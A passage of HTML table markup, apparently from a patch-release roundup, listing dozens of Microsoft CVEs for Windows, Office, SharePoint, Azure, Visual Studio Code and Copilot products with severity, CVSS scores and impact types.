  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833"><span>CVE-2026-33833</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204"><span>CVE-2026-32204</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42830"><span>CVE-2026-42830</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117"><span>CVE-2026-33117</span></a></td>
  <td width="256" class="xl73">Azure SDK for Java
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl73">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35424"><span>CVE-2026-35424</span></a></td>
  <td width="256" class="xl73">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41614"><span>CVE-2026-41614</span></a></td>
  <td width="256" class="xl73">M365 Copilot for
  Desktop Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41100"><span>CVE-2026-41100</span></a></td>
  <td width="256" class="xl73">Microsoft 365 Copilot
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40377"><span>CVE-2026-40377</span></a></td>
  <td width="256" class="xl73">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094"><span>CVE-2026-41094</span></a></td>
  <td width="256" class="xl73">Microsoft Data
  Formulator Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40417"><span>CVE-2026-40417</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Business Central Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833"><span>CVE-2026-42833</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42838"><span>CVE-2026-42838</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40360"><span>CVE-2026-40360</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40359"><span>CVE-2026-40359</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362"><span>CVE-2026-40362</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832"><span>CVE-2026-42832</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34329"><span>CVE-2026-34329</span></a></td>
  <td width="256" class="xl73">Microsoft Message
  Queuing (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419"><span>CVE-2026-40419</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418"><span>CVE-2026-40418</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436"><span>CVE-2026-35436</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420"><span>CVE-2026-40420</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893"><span>CVE-2026-42893</span></a></td>
  <td width="256" class="xl73">Microsoft Outlook for
  iOS Tampering Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374"><span>CVE-2026-40374</span></a></td>
  <td width="256" class="xl73">Microsoft Power
  Automate Desktop Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102"><span>CVE-2026-41102</span></a></td>
  <td width="256" class="xl73">Microsoft PowerPoint
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439"><span>CVE-2026-35439</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368"><span>CVE-2026-40368</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110"><span>CVE-2026-33110</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112"><span>CVE-2026-33112</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357"><span>CVE-2026-40357</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32185"><span>CVE-2026-32185</span></a></td>
  <td width="256" class="xl73">Microsoft Teams
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101"><span>CVE-2026-41101</span></a></td>
  <td width="256" class="xl73">Microsoft Word for
  Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35440"><span>CVE-2026-35440</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40421"><span>CVE-2026-40421</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41097"><span>CVE-2026-41097</span></a></td>
  <td width="256" class="xl73">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370"><span>CVE-2026-40370 †</span></a></td>
  <td width="256" class="xl73">SQL Server Remote Code
  Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613"><span>CVE-2026-41613</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41612"><span>CVE-2026-41612</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611"><span>CVE-2026-41611</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41610"><span>CVE-2026-41610</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33839"><span>CVE-2026-33839</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33840"><span>CVE-2026-33840</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34330"><span>CVE-2026-34330</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34331"><span>CVE-2026-34331</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35423"><span>CVE-2026-35423</span></a></td>
  <td width="256" class="xl73">Windows 11 Telnet
  Client Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438"><span>CVE-2026-35438</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086"><span>CVE-2026-41086</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  in Azure Portal Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34344"><span>CVE-2026-34344</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34345"><span>CVE-2026-34345</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35416"><span>CVE-2026-35416</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"><span>CVE-2026-41088</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34343"><span>CVE-2026-34343</span></a></td>
  <td width="256" class="xl73">Windows Application
  Identity (AppID) Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35418"><span>CVE-2026-35418</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33835"><span>CVE-2026-33835</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34337"><span>CVE-2026-34337</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40407"><span>CVE-2026-40407</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40397"><span>CVE-2026-40397</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42896"><span>CVE-2026-42896</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35419"><span>CVE-2026-35419</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34336"><span>CVE-2026-34336</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33834"><span>CVE-2026-33834</span></a></td>
  <td width="256" class="xl73">Windows Event Logging
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32209"><span>CVE-2026-32209</span></a></td>
  <td width="256" class="xl73">Windows Filtering
  Platform (WFP) Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33841"><span>CVE-2026-33841</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420"><span>CVE-2026-35420</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40369"><span>CVE-2026-40369</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332"><span>CVE-2026-34332</span></a></td>
  <td width="256" class="xl73">Windows Kernel-Mode
  Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34339"><span>CVE-2026-34339</span></a></td>
  <td width="256" class="xl73">Windows Lightweight
  Directory Access Protocol (LDAP) Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34341"><span>CVE-2026-34341</span></a></td>
  <td width="256" class="xl73">Windows Link-Layer
  Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33838"><span>CVE-2026-33838</span></a></td>
  <td width="256" class="xl73">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34342"><span>CVE-2026-34342</span></a></td>
  <td width="256" class="xl73">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095"><span>CVE-2026-41095</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34340"><span>CVE-2026-34340</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40398"><span>CVE-2026-40398</span></a></td>
  <td width="256" class="xl73">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
